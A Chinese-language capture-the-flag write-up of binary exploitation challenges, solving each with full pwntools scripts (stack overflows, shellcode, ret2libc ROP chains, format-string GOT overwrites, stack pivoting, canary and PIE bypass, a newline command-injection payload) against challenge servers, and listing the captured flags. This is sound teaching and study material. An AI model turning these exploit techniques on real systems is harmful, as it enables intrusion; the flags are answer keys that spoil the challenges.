0 二进制漏洞审计入门指北

这边直接把附件放进虚拟机然后写一串代码就好了,代码都给了,不用大改

先连接

根据虚拟机网段配置wsrx(其实直接广播就行

直接就原来给的代码塞进去就是了
每一步写的很详细了
回过头发现这个是真的很适合新手看(

这边send和sendline的区别主要在这

这边直接与运行python即可得到flag
1 ez_u64


首先确定是64位系统,接着看一下如何解题

查看main函数,只需要满足v1 = num即可执行system("/bin/sh")提权了,接下来就简单了,因此本题的问题只在于如何使v1=num

这边我们是先连上环境
然后定位到Here这句话,相当于打断点
打过来之后马上提取后边八个字节的内容,输入到data里,因为后边是hint,是和我们输入对比的num,只要捕获并作为v1输入即可
后边构造payload再sendline
即提权成功
后边经典ls和cat即可

moectf{US3Ful_tHlNg5-IN-pwNTOol52b463460}
1 find it


依旧是64位的内容

可以理解一下fd先,文件描述符,对于Linux中一切都是文件,因此fd就相当于是每一个被打开文件的一个地址符

我们默认fd0为stdin标准输入,fd1为stdout标准输出,fd2为stderr标准错误,而后边打开的每一个文件会自动领到3以后的数字作为自己的文件标识符
我们这边先看看内容

这边我们来看主函数
上来先说自己把标准输出隐藏起来了,让我们去找他
这边可以看到,v3=dup(1)
也就是说fd=1被藏到了fd=3的地方
所以当问我们在哪里的时候我们应该回复的是3,如果回复1就会被close
接下来就问我们想看什么,会打开我们输入的那个file
这边我们输入flag就是了
一般由于fd012都被占用,这边新打开的文件应该是fd=3才对
但是刚刚把fd=1变成了fd=3,所以fd=1的地方是空着的,也就是说现在打开的这个flag在fd=1的地方
所以它问我们fd,我们输入1,如下

成功得到flag
2 EZtext


先确定是64位的

这边可以看到这一题是在考栈溢出

这边的v4是我们输入的,输入4+8就满了

可以看到只要输入8个及以上就会填满栈,然后这边还有一个另一个read函数,可以输入8+8个,但是我们只能输入a1个内容,也就是说我们应该让a1大一点,超过16才是

所以我们一开始可以先输入个50,然后我们写入16个a即可完成栈溢出


我们还可以注意到左边有个treasure函数

我们/bin/sh的程序在这个地方
所以我们应该改地址改0x4011CD的位置
注意这边是64位程序啊,要用p64来封装

就直接一步步下来先发50再发溢出再发/bin/sh地址即可

得到flag
moectf{reTZt3Xt_iS-tHE-stArT_0f-rop18d3c395}
2 ezshellcode


这是一道没有system的题目

这边一开始需要我们输入4,然后往下跳

这边栈溢出成立,可以输入4096个但是输入0x10+8就溢出了
这边的重点是没有system函数,即我们必须直接通过系统调用得到/bin/sh提权
其实system("/bin/sh")底层是调用execve("/bin/sh",0,0)
我们需要通过pwntools的asm函数来汇编shellcode
pwntools有个强大的工具shellcraft,可以直接帮助我们生成shellcode
所以这一题就是需要我们编写汇编代码,直接调用 execve系统调用

直接写大概长这样子(当然不长这样子了),太困难了,我们还是尝试使用shellcraft

利用shellcraft可以方便很多shellcode = asm(shellcraft.sh())

注意这题已经创建好了一个专门的shellcode区域

用户的输入会填充到这里的,所以这题根本就不需要所谓的缓冲区溢出

直接这样子就搞定了,刚刚卡住一直想利用栈溢出,但这题其实没有,在payload前这样子写只会妨碍shellcode执行
得解

moectf{pOWErfUl-sHeL1cod3-Can_d0-ANythlNgbe879}
3 认识libc

先看位数,64位的

会多一个libc文件,system我们在源文件找不到,只能在libc文件里找到
一般是我们只知道偏移地址,但是不知道基地址,通过puts可以得到它现在的地址,减去偏移地址便可得到基地址

先看原来的pwn文件

上来先到这边io.recvuntil("> ")一下
可以看到这边存在栈溢出漏洞,我们可以填入0x100个内容,但是buf只能存储0x40+8个内容,所以我们可以轻松构造溢出

padding=0x40+8
这边开始都是2026年写的了
那之前也是傻了,这题都不会

如图,我之前一直在那边思考传参这档子事,想通过给puts函数传参泄露got表地址然后算出libc基址,但其实根本没有这个必要

因为这题已经专门直接泄露地址给我们了,根本没必要再去构造传参得到泄露地址啊()
我们直接截取一下然后算基址即可
有了基址之后好多都有了,不是没有rdi嘛这题,我们也可以用libc里边的呀
ROPgadget --binary "libc.so.6" --only "pop|ret"


所以pop_rdi和ret就是
pop_rdi = libc_base + 0x02a3e5
ret = libc_base + 0x029139
即可写得脚本
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',1577)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
padding=0x40+8
io.recvuntil(b"of 'printf':")
printf_addr = int(io.recvline().strip(),16)
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x02a3e5
ret = libc_base + 0x029139
payload = flat([
b'A'*padding,
p64(ret),
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr),
])
io.recvuntil(b'> ')
io.sendline(payload)
io.interactive()

得到flag:moectf{yoU-jusT-h@VE-L1bC-N0w836b31f48}
boom

保护:

我们来看一下IDA

这边是人为设计的canary,不是那个栈金丝雀,就是一个随机数而已
可以看到这边如果我们想要去用gets函数的那个栈溢出

必须在这边brute_choice等于121或89,即y或Y


但是我们这边栈溢出的时候会把v6v5的值冲坏,就和canary差不多,冲坏了就exit了没后续了,所以我们在这边要留心不能冲了
v6只要不是0啥都可以,需要留心的只有v5
我们要得到canary的值然后在栈溢出的时候留心一下填回去
这边random是一个伪随机数,我们可以用ctypes库来调用srandom,用相同的种子产生相同的值,从而绕过即可
那么种子和时间有关,所以我们这边设置一下时间作为种子试试看就可以了
所以就很简单了,可以多设置一些时间种子,测试

那这边之后就很简单了,这边有现成的后门函数

直接覆盖返回地址即可
注意这边应该是0x40127B,而非0x401276,因为我们进入win之后,如果是0x401276,则会多执行一次push rbp
这会导致 rsp % 16 == 8
那后边再call system的时候会又压入8字节,从而使得进入system的时候变成 rsp % 16 == 0
导致栈不对齐,从而失效,因此考虑到栈对齐我们选择0x40127B

from pwn import *
from ctypes import *
import time
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',41441)
backdoor = 0x40127b
start_time = time.time()
seeds = [int(start_time), int(start_time)-1, int(start_time)+1, 1, 0, int(time.time())]
libc = cdll.LoadLibrary('libc.so.6')
io.recvuntil('system? (y/n)\n')
io.sendline('y')
io.recvuntil('Enter your message: ')
for seed in seeds:
libc.srandom(seed)
canary = libc.random()%114514
payload = b'a'*0x7C + p32(canary) +b'a'*0x18 + p64(backdoor)
io.sendline(payload)
result = io.recvline(timeout = 1)
if b'Security check failed' not in result:
io.interactive()
break
io.close()
io = io = remote('10.52.54.146',41441)
io.recvuntil('system? (y/n)\n')
io.sendline('y')
io.recvuntil('Enter your message: ')

得到flag:moectf{lA5T-tlmE-t1Me_15-sP3EDlng_upf33771}
boom_revenge

其实和上一道是一模一样的,脚本同一个,不过多赘述了

moectf{N0_pI3@Se_5T0P_I_sUrrEnd3r334be943}
fmt

这明显是一道格式化字符串的题目
先看保护:

保护全开,来看IDA

可以看到这边main函数逻辑还是很清楚的,这边先generate函数造了俩宝藏,然后在问名字的时候,会printf(s),这就是本题格式化字符串的那个漏洞点

这边genarate也很直接,就是直接随机数,以字符串形式存在栈上的,其实我们要做的事情很明确
就是利用格式化字符串读到这些内容,读完发过去就是了
直接写个几十个泄露,总归能找到的
%10$p|%7$s|
注意第一个还要小端序还原一下(下边的可以,直接去cyberchef也可以
int("47544a554d", 16).to_bytes(8, "little")[:5]


得到flag:moectf{th3_b3giNNlNG_of_forMaT75fca2520}
inject

保护:


打开IDA可以看到这样子的一个main函数,它会执行一些程序来监控系统,我们可以选择执行的具体程序

所以这个程序的关键点很明确
首先读最多0xF字节的内容,之后找\0,如果buf之后是\n,就换成\0
关键点在于read函数不会自动加\0,而strlen会一直往后找\0
而v4在buf后面
所以我们可以在栈上伪造字符串结束的地方
所以我们可以伪造字符串结束的地方,让程序误以为读到了合法主机名,check过了之后再触发额外命令
payload = b'x\ncat flag\n'
于是当我们ping x -c 4结束之后,shell会继续从stdin读下一行,于是读到了cat flag\n
成功执行
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',25499)
io.sendlineafter('Your choice:',b'4')
payload = b'x\ncat flag\n'
io.sendlineafter('Enter host to ping: ',payload)
io.interactive()

得到flag:moectf{tHiS-15-n0t-IlkE-A-PWN-ChaL13ngE1657e1}
randomlock

保护:

题目说的第一段文字是boom那道题的做法,那这一道题题目说是个"真随机",还有加密
我们来看看

可以看到这边上来初始化了种子,然后利用这个种子进行了随机数生成,我们需要10次都成功输入对随机数才能进入win函数,win函数如下

直接读出了flag并输出,所以我们的目标只有输入正确,而这需要我们知道种子

来看看种子初始化的initseed函数
可以看到这边是读取了/dev/urandom的3字节的随机数据,利用/dev/urandom来得到安全的伪随机数据

后边还会经历多次的change函数,这边可以看到是对我们的seed进行判断
如果是奇数就x3+1,如果是偶数就除以2,最后返回新值
在120次change后会再次强制种子为奇数,之后再一次change
最后返回一个种子
这边看着很麻烦,但是事实上,程序会把种子缩小到1~100之后再去change
在120次change后,所有数字都会进入1,4,2,1的循环
后边又强制奇数,所以最后所有情况都会落到seed = 1
所以我们只需要预测srand(1)之后的10个rand()%10000就可以了
即下边answers里我写的那十个固定数
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',10718)
answers = [
9383,
886,
2777,
6915,
7793,
8335,
5386,
492,
6649,
1421
]
for x in answers:
io.sendlineafter(b">", str(x).encode())
io.interactive()

得到flag:moectf{SUCh-4-F@ke_ch4Ot1C-3Vll50ab45ff}
str_check

按照题目所说,我们这题应该是要利用\0的处理
保护:

可以看到这边只开了NX

来看IDA
可以看到一个和题目所提到的\0息息相关的strlen函数
strlen函数是从前往后检测第一个\0来计算字符串长度的,所以我们可以依靠这个绕过
绕过之后后边有一个判断
如果str的前4字节是meow,那么就会进入memcpy分支,否则进入strncpy分支
区别在于如果是memcpy,那么不关心\0,直接复制进去,好用一点
如果是strncpy的话,遇到\0会停,我们设计的本来就有,所以这个不行
直接把我们输入的str给复制到了dest

如果传入的过多直接栈溢出了
那这边又有一个后门函数,于是直接覆盖返回地址后得到shell了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',47435)
backdoor = 0x040123B
str = b'meow'+b'\0'*(0x20+4)
payload = str + p64(backdoor)
io.sendlineafter(b"u say?\n",payload)
io.sendlineafter(b"is it?\n",b'100')
io.interactive()

得到flag:moectf{M4Y6e_thi5_1S_c_StRiNg8387728c1}
syslock

这题明显要考系统调用
保护:

保护没什么特殊的,我们来看IDA


可以看到这边主函数的关键就是红框的这句,我们可以写入12字节的数据在s所在内存区域后偏移i个字节的位置
问题在于后边需要i = 59才行,但是一开始又要它小于4

明显s和i都在bss段上,而且只差了0x20的字节
所以我们其实可以先写一个i = -32绕过if判断
这样子的话之后read这一个地方就会变成read(0, &s-32, 12uLL)
于是我们写的东西会直接变成i的值了,写59即可绕过,进入cheat函数

cheat函数是一个明显的栈溢出的地方




之后可以看到这边gadget和syscall都帮我们备好了,本题就是要考ret2syscall
我们可以直接用现成的gadget来构造下边这两条
read(0,'/bin/sh\x00',8)
execve('/bin/sh')
所以我们的ROP链子大概是下边这样子
# read(0, bss_addr, 8)
pop_rdi_rsi_rdx_ret
0
bss_addr
8
read_plt
# execve(bss_addr, 0, 0)
pop_rdi_rsi_rdx_ret
bss_addr
0
0
pop_rax_ret
0x3b
syscall_addr
来写脚本即可
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',64993)
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
pop_rax_ret = 0x401244
read_plt = 0x4010A0
bss_addr = 0x4040A0
padding = 0x40+8
io.sendlineafter(b'choose mode\n',b'-32')
io.sendlineafter(b'Input your password\n',p32(59))
payload = flat([
b'a'*padding,
pop_rdi_rsi_rdx_ret,
0,
bss_addr,
8,
read_plt,
pop_rdi_rsi_rdx_ret,
bss_addr,
0,
0,
pop_rax_ret,
0x3b,
syscall_addr,
])
io.sendlineafter(b'Developer Mode.\n',payload)
io.sendline(b'/bin/sh\00')
io.interactive()

xdulaker

保护:

可以看到本题是Full RELRO,还开了PIE
提示给了栈上的数据不会无缘无故被清理,我们看看IDA


还有菜单,我们一个个看内容

第一个pull函数,说是会给一个礼物,然后输出了变量opt的地址,于是依靠这个gift我们就可以得到pie_base
接下来继续往下看

这是2的photo,可以写入buf但是没有溢出点

而3的laker虽然有溢出点,但是需要我们s1的值为xdulaker
这就是本题想考我们的,栈上的数据不会无缘无故被清理,我们在photo返回后如果马上又去调用laker,通常两次函数调用的rbp位置可能一样,导致s1复用photo的栈空间

可以看到栈上的rbp-0x30 ~ rbp-0x11是重叠的
所以我们只要在photo里先铺垫0x20个,之后写一个xdulaker即可

之后就简单了,ret2win而已
写代码吧
from pwn import *
import re
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',25706)
io.sendlineafter(b'>',b'1')
line = io.recvline().strip()
opt_addr = int(re.search(rb'0x[0-9a-fA-F]+', line).group(), 16)
pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x1251
io.sendlineafter(b'>',b'2')
payload = flat([
b'A'*0x20,
b'xdulaker'
])
io.sendline(payload)
io.sendlineafter(b'>',b'3')
payload = flat([
b'A'*(48+8),
backdoor_addr
])
io.sendline(payload)
io.interactive()

得到flag:moectf{BE_C4r3FUL_0F-thE_l4kE204b4640e}
easylibc

保护:

可以看到本题开了PIE
我们来看IDA

main函数给了一个read的地址,这个时候的read还未被调用过,所以输出的是其plt表的地址,我们可以利用这个解决PIE的问题

之后里边是一个明显的栈溢出,我们可以利用栈溢出回到main函数,这个时候的read已经被调用过了,所以再次printf的时候就会输出其libc地址,得到了libc基地址后直接ret2libc了
后边和那个3 认识libc就一样了,就不细说了
我们来写代码来
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',5158)
libc = ELF("./libc.so.6")
io.recvuntil('I use ')
base_addr=int(io.recv(14),16)-0x1060
main_addr = base_addr + 0x11D2
ret = base_addr + 0x101a
payload = flat([
b'a'*(0x20+8),
ret,
main_addr
])
io.sendline(payload)
io.recvuntil('I use ')
libc_base=int(io.recv(14),16)-libc.symbols['read']
pop_rdi = libc_base + 0x2a3e5
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = flat([
b'a'*(0x20+8),
ret,
pop_rdi,
bin_sh_addr,
system_addr
])
io.sendline(payload)
io.interactive()

ezpivot

明显是一道栈迁移的题目
保护:



看看IDA发现确实是给的溢出空间很少,在填满buf的基础上,我们至少还需要0x28的长度,但题目去掉buf我们就只剩了0x10的空间,长度不足,我们必须去栈迁移
这题是比较偏向新生赛的栈迁移,上来我们能输入两次,第一个是输入给一个无符号数v4
而判断的时候是把这个无符号数给转成int来判断的,显然存在整数溢出,所以我们给v4写个-1就能写一大堆了,即能在bss段无限写内容
所以我们可以在bss段先铺好我们的ROP链子,然后之后我们溢出的时候直接覆盖栈底为bss段的地址,然后迁移过去执行我们的ROP链子
是经典两步,第一步写好ROP链子并且利用第一个leave ret修改好我们的rbp,再把返回地址改成leave ret,第二步就是第二次利用leave ret来把rsp也送过去执行
注意这边我们需要抬高栈,为了rsp迁移过去后下边有足够的空间给system函数来继续用栈
OK写代码
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('10.52.54.146',49828)
system_plt = 0x4010a0
pop_rdi_ret = 0x401219
leave_ret = 0x40120f
ret_addr = 0x40101a
io.recvuntil(b'introduction.')
io.sendline(b'-1')
payload1 = flat([
b'a' * 0x800,
b'/bin/sh\x00',
pop_rdi_ret,
0x404860,
ret_addr,
system_plt,
])
io.send(payload1)
io.recvuntil(b'phone number:\n')
payload2 = b'a' * 0xC
payload2 += p64(0x404860)
payload2 += p64(leave_ret)
io.send(payload2)
io.interactive()

得到flag:moectf{yOu_C@n-Not_0VERfl0W-eN0uGh_6YtE57481cd}
输入的有点多,可能出现玄学报错,按照官方的wp来说,read读取的时候其实是可以直接任意地址写了,所以这个时候直接写到高地址即可,还有一个坑是我们需要注意rbp的有效性,不要rsp迁移完就不管rbp了
ezprotection

保护:

嗯。。保护全开啊,又有canary又有pie,只看题目的话,看上去是一道Bypass的题目

先看setup函数

可以看到这边一开始就打开了/dev/urandom,把一个8位随机数存到了password里边

接下来是vuln函数,主要是两个read明显能栈溢出的read函数以及一个puts(buf)
因为有Canary所以这边一直在挑衅
根据题意我们肯定是要想办法绕过的,注意到这边有一个puts,这是泄露的关键
基本思路很好理解,就是第一次read来绕过canary,第二个来真正栈溢出

来看栈,可以看到这边的布局,我们是可以写入0x2A个的,同时栈布局如下
rbp-0x20 buf 起点
...
rbp-0x08 canary
rbp saved rbp
rbp+0x08 return address
所以我们是可以覆盖到返回地址的低2个字节的
而且我们可以修改canary
这边涉及canary的一个涉及,canary为了防止像puts这种函数直接把它泄露出来,所以特意留了最低字节为\x00
但是我们第一个read可以修改到canary的最低字节,所以我们可以把\x00改掉,好利用后边的puts来泄露
泄露完之后第二个read就能Bypass成功栈溢出了

栈溢出后就很简单了,这边我们有一个backdoor的函数,虽然要写密码,但是我们都能直接修改返回地址了,不一定要写到开头,直接写到if语句后即可

直接去127D即可
最后只差一个PIE没有解决了,这边也给了对应的提示

提示的意思似乎是PIE这个防护机制有一个特点导致其随机性可以直接被绕过,其实是partial write,部分写入
这是一种利用了PIE技术缺陷的Bypass技巧
是利用了内存页载入机制和PIE随机化颗粒度没有那么细的特点,PIE随机性只能影响单个内存页
由于单个内存也大小是0x1000,所以一个页面内的低12位是不会发生变化的,是固定的
比如我们现在要去的是PIE_base + 0x127D ,至少最后的12位,也就是27D是固定的
我们要改的正好在我们溢出能碰到的范围内,作者贴心给我们准备了修改返回地址的低2个字节的能力
所以我们只要认定一个跑16次就好了
0x127d
0x227d
0x327d
...
0xf27d
0x027d
顶多16次,肯定会到我们的0x127D
都理清楚就可以写代码了
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
backdoor = 0x127D
while True:
io = remote('10.52.54.146',64216)
payload1 = b'a'*(0x20-0x8+0x1)
io.sendafter(b'watching over you.',payload1)
io.recvuntil(payload1)
leak = io.recv(0x7)
canary = u64(b'\x00'+leak)
payload = b'a'*0x18 + p64(canary) + b'a'*0x8 + p16(backdoor)
io.send(payload)
data = io.recvall(timeout = 1)
if b'You find the secret:' in data :
print(data)
break
else:
io.close()
continue

得到flag:moectf{Ju5T-SoM3-E4sY_PrOtEcTI0N167884a4}
fmt_S

保护:

开了Canary,只看标题大概是利用格式化字符串来拿指针了
来看IDA


s
可以看到本题的flag、atk都是在bss段的,不在栈上
已经开始有一个循环的talk,如果想持续循环需要让flag为0
只要flag保持是0,那么就能一共循环3次talk
那么talk这边有三次fmt的格式化漏洞利用机会
所以第一个问题是如何让flag保持是0,第二个问题是三次机会如何把握

我们可以看看flag这边,会发现atk就在上边


覆盖的核心就在这个my_read函数这边
我们知道我们可以写入8个字节,如果我们正好写入了8个字节,那么read(0,a1,a2)返回的就会是8
于是a18=0
这意味着我们在原来8字节的基础上补了一个'\0'
所以当我们输入8个字节的时候就会越界,第9字节是0,而这是flag的地方,自然会直接让flag变为0
所以第一个任务完成了,后边就是如何利用这三次得到shell了

发现这个程序是有system函数的,但是我们没办法操控command
所以我们其实可以直接把这边的printf的GOT地址修改为system_plt的


只要我们前两次能做到这一点,那么第三次talk的时候就可以直接输入'/bin/sh\x00'来提权了,因为会把fmt的内容给传到rdi里边去,直接作为system参数执行

我们想做的其实是*(printf@GOT) = system
但是我们是不能直接写%0x404028$n的
我们必须让程序在栈上或者参数里边存在一个参数使其=0x404028
这样子我们的格式化字符串才能改过去
所以很清晰了,第一次talk改参数使其变为printf的GOT地址,第二次talk真正修改为system的GOT地址,第三次直接getshell

我们动调,在第一次输入的地方打断点,可以看到这边%8p的值指向了%12p的栈地址
所以第一次是*(0x7fffffffde90) = 0x404028
第二次是*(0x404028) = 0x4010e0
来写代码吧
from pwn import *
context.log_level='error'
for i in range(1,40):
io = process("./pwn_patched")
payload = f"%{i}$p".encode()
io.sendline(payload)
try:
result = io.recvline(timeout=1)
print(i,result)
except:
pass
io.close()
可以通过这个来循环程序进而探查格式化字符串参数位置
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('10.52.54.146',1335)
printf_got = 0x404028
system_plt = 0x4010E0
payload1 = "%{}c%8$ln".format(printf_got).encode()
io.sendafter("him...\n", payload1)
io.sendafter("battle!", b'a'*8)
payload2 = '%{}c%12$ln'.format(system_plt).encode()
io.sendafter("him...\n", payload2)
io.sendafter("battle!", b'a'*8)
io.sendafter("him...\n", b'/bin/sh\x00')
io.interactive()

得到flag:moectf{4dvanC3d-LEVE1_fMTcd59df3f16}
fmt_T

保护:

可以看到除了PIE都开了,虽然没看懂题目写的是什么意思

直接来看IDA,可以看到main函数首先调用了一个fgets函数,fgets只能传入size-1个字符,也就是说这边的格式化字符串我们只能输入5个字符

之后以5为参数传入了hell函数,这边的fgets允许我们写入4个字节,之后是一个递归调用hell
hell用3次,第一次能输入4个字符,第二次是15个字符,第三次是26个字符,第四次就直接被吞了
也就是说a1的值分别是5、16、27
可以看到这边还有一个格式化字符串漏洞,但有一个前置if语句pd,为true才能调用到这个漏洞

两个参数,第一个参数是我们输入的内容,第二个参数是我们的a1
想要为true,必须使得我们输入的内容里边有37,也就是'%',这对于格式化字符串漏洞其实问题不大
所以这边主要是三次格式化字符串,包含%,注意执行顺序,我们输入的虽然是5,16,27,但是执行的时候是递归的先执行27,再是16,5
所以总体的想法是hell外的那次来利用格式化字符串泄露__libc_start_call_main从而得到libc基地址
然后到了hell里边先写"sh\x00%"正好4字节
之后把printf的GOT表放到栈上,注意这边虽然有格式化字符串,但第二次却没有利用格式化字符串,只是利用了第二次循环来用fgets把printf的GOT表放到栈上方便覆盖

最后一次27长度的用system的地址覆盖掉printf的GOT表
注意修改还有苦难,由于printf和system都是动态链接过来的,被分配在同一页上,所以只有前3字节不同
也就是说我们需要修改3字节,但我们没有直接写3字节的,所以这边用的是%hhn写1个+%hn写2个
我们在第一个地方写printf_got的地址来修改第一个字节
后边写printf_got+1的地址,从而正好避免碰我们刚刚写的那一个,这边写两个字节
如此就能以sh作为参数给到GOT表已经变成了system的printf,从而执行system(sh)得到shell
写代码即可,注意这边只能用send,我们输入的内容有限,不能再输入\n了
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('192.168.31.75',30495)
libc = ELF("./libc.so.6")
elf = ELF('./pwn')
payload1 = b'%11$p'
io.send(payload1)
leaked = int(io.recv(14), 16)
print(hex(leaked))
libc.address = leaked - 0x29d90
sys_addr=libc.sym['system']
payload2 = b'sh\x00%'
io.sendafter(b'hell.\n',payload2)
payload3=p64(elf.got['printf'])+p64(elf.got['printf']+1)[:7]
io.sendafter(b'hell.\n',payload3)
byte1 = sys_addr & 0xff
byte2 = (sys_addr>>8) & 0xffff
payload4 = '%{}c%24$hhn'.format(byte1).encode()
payload4+= '%{}c%25$hn'.format(byte2-byte1).encode()
payload4 = payload4.ljust(26, b'a')
io.sendafter(b'hell.\n',payload4)
io.interactive()

得到flag:moectf{1_wlLI_AIW4y5_be-WATCH1NG_yOU38ce91}
hardpivot

保护:

保护开的还行,虽然checksec能看见SHSTK和IBT,但本题不会真的启用这种保护,猜测只是CET打了属性位但是并未真正运行
那只读标题的话其实很明显这是一道多次栈溢出的题目
其实根据官方的wp也好,自己理解也好,就是当我们栈迁移之后溢出长度不够,不能一次秒掉的时候多迁移一次
最大的难点就在于每一次迁移的布局,最好是我们一次次进行动调来看其结构,不要仅在脑子进行思考,需要我们进行结构布局划分,最好画下来,不要想着只靠脑子来一口气构造布局

ida打开其实很清晰,main函数一个初始化一个puts,主要还是中间的vuln函数

给的也很清楚,全是puts函数的调用以及最后一个明显的栈溢出,但是溢出空间极小,必须进行栈迁移
然而这边一次栈迁移还不够,因为一次写不下,没法做完泄露libc到system拿shell的全过程
所以我们这边需要进行二次栈迁移

注意这边涉及栈迁移一般都是.bss段的中段,例如+0x800后,这样就不怕read写高地址,也不怕栈向低地址增长,放中间比较好,在这边就不过多赘述了,总体思路一致,栈迁移还是两次leave ;ret
第一次把rbp挪到我们的指定位置,第二次挪rsp,然后ret之后rsp也指向了我们排好的栈结构上
还是推荐这个博客,写的很清楚

所以我们先完成第一次栈迁移
构造第一个payload
第一个payload空间有限,只能覆盖rbp以及返回地址
我们设置rbp到新的bss段
bss_address = 0x4041a0
new_rbp = bss_address+0x800
之后再设置返回地址到0x401264,这样子我们就可以再一次利用栈溢出的漏洞,同时也能利用到leave;ret
当然最关键的是这边会lea rax,rbp+buf
即用当前的rbp-0x40作为自己的缓冲区
也就是说我每次控制完rbp之后的下一次read写入地址就变成rbp-0x40了

read_add = 0x401264
得到第一个payload
bss_address = 0x4041a0
new_rbp = bss_address+0x800
read_add = 0x401264
payload1 = b'a'*0x40+p64(new_rbp)+p64(read_add)

在此处打断点可以看到这边在第一次read过后我们的rbp已经被修改过了
而继续往下是第一次执行leave
rsp = old_rbp
rbp = [old_rbp] = 0x4049a0
rsp = old_rbp + 0x08
然后是ret
rip = [old_rbp + 0x08] = 0x401264
rsp = old_rbp + 0x10
注意我们这边第一次payload只是控制了rbp,没有把rsp迁移到.bss段
而后就是第二次的payload了
我们知道现在的rbp是0x4049a0
所以我们read写入的位置是rbp-0x40,也就是0x404960
我们可以利用read在bss段开始写东西了
0x404960 -> 0x404960 # fake rbp
0x404968 -> pop rdi; ret
0x404970 -> puts_got
0x404978 -> puts_plt
0x404980 -> read_add
0x404988 -> leave_ret
0x404990 -> aaaaaaaa
0x404998 -> aaaaaaaa
0x4049a0 -> 0x404960 # read_add 结束时 leave 要 pop 的 rbp
0x4049a8 -> leave_ret # read_add 结束时 ret 要跳的地址
我们打算构造的是这样子的一个bss段,从0x404960开始,在bss段布置我们的ROP链
先利用puts泄露libc基地址
再把rbp写为0x404960,然后返回地址直接写leave;ret

也就是说第二个payload为
new_rbp = 0x404960
leave_ret = 0x40127b
payload2 = p64(new_rbp)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(read_add)
payload2 += p64(leave_ret)
payload2 = payload2.ljust(0x40, b'a') + p64(new_rbp) + p64(leave_ret)


可以看到bss段已经构造完成
我们的程序会先将bss段铺好,之后跳转到此地,先执行puts(puts_got),然后再返回
此时的寄存器为
rip = 0x401264
rbp = 0x404960
rsp = 0x404988
因此我们下一次的写入地址就会变成rbp-0x40 = 0x404920
0x404920 -> 0x404920 # fake rbp
0x404928 -> pop rdi; ret
0x404930 -> "/bin/sh"
0x404938 -> ret # 栈对齐
0x404940 -> system
0x404948 -> aaaaaaaa
0x404950 -> aaaaaaaa
0x404958 -> aaaaaaaa
0x404960 -> 0x404920 # read_add 结束时 leave 要 pop 的 rbp
0x404968 -> leave_ret # read_add 结束时 ret 要跳的地址
于是这一次read_add结束之后,会执行leave;ret
leave:
rsp = 0x404960
rbp = [0x404960] = 0x404920
rsp = 0x404968
ret:
rip = [0x404968] = leave_ret
rsp = 0x404970
接着是第二次leave;ret
leave:
rsp = rbp = 0x404920
rbp = [0x404920] = 0x404920
rsp = 0x404928
ret:
rip = [0x404928] = pop_rdi
rsp = 0x404930
于是我们的寄存器变为了
rip = pop_rdi
rsp = 0x404930
然后pop_rdi使得rdi=bin_sh
ret后rip指向system
最后实现函数system("/bin/sh")
大致思路滤清之后写脚本即可,跟着官方wp写一下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.31.75',11420)
libc = ELF('./libc.so.6')
read_addr = 0x401264
pop_rdi = 0x40119e
puts_got = 0x404018
puts_plt = 0x401074
leave_ret = 0x40127b
ret = 0x40101a
bss_address = 0x4041a0
new_rbp = bss_address+0x800
payload1 = b'a'*0x40+p64(new_rbp)+p64(read_addr)
io.send(payload1)
new_rbp = 0x404960
leave_ret = 0x40127b
payload2 = p64(new_rbp)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(read_addr)
payload2 += p64(leave_ret)
payload2 = payload2.ljust(0x40, b'a') + p64(new_rbp) + p64(leave_ret)
io.send(payload2)
io.recvuntil(b'> ')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - 0x80e50
system_addr = libc_base + 0x50d70
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
new_rbp = 0x404920
payload3 = p64(new_rbp)
payload3 += p64(pop_rdi)
payload3 += p64(bin_sh)
payload3 += p64(ret)
payload3 += p64(system_addr)
payload3 = payload3.ljust(0x40, b'a') + p64(new_rbp) + p64(leave_ret)
io.send(payload3)
io.interactive()

得到flag
shellbox

保护:

这边多开了一个Canary
还有就是题目说了是一个沙箱题目,我们也可以看看沙箱都做了什么
seccomp-tools dump ./pwn
ceccomp probe pwn

用seccomp可以看到主要是禁用了open和execve

或者用ceccomp也一样
很清晰可以看到用不了open和execve
但是像openat什么都有,所以就是个利用openat来替代open的orw的题目
我们来看看IDA


sandbox就是很明显的seccomp_rule_add,刚刚用工具方便我们看了
注意到这一题是静态链接的,程序本体很大

这边可以看到有一个循环,但是是根据v5来判断的
v5开始这边是0,后边read一次会+1,而循环条件是不为1,因此我们如果不做改动,输入一次后就会退出

但问题在于这边有个以v5为索引的v4数组,我们这边可以写8个,即越界覆盖v5,覆盖掉就可以循环了,只需要注意这边v5也不能大于9即可
payload = b'a'*4 + p16(1)
然后就可以构造栈溢出,可以写ROP链子了
我们直接调用程序有的mprotect函数
然后来构造语句
mprotect(void *addr, size_t len, int prot)
安排好寄存器
rdi = mprotect_buf
rsi = 0x2000
rsx = 7
使其有用一块可读可写可执行的bss区域
最后返回到bss段,我们一开始的read直接在那边写好我们的shellcode,之后就能直接执行了
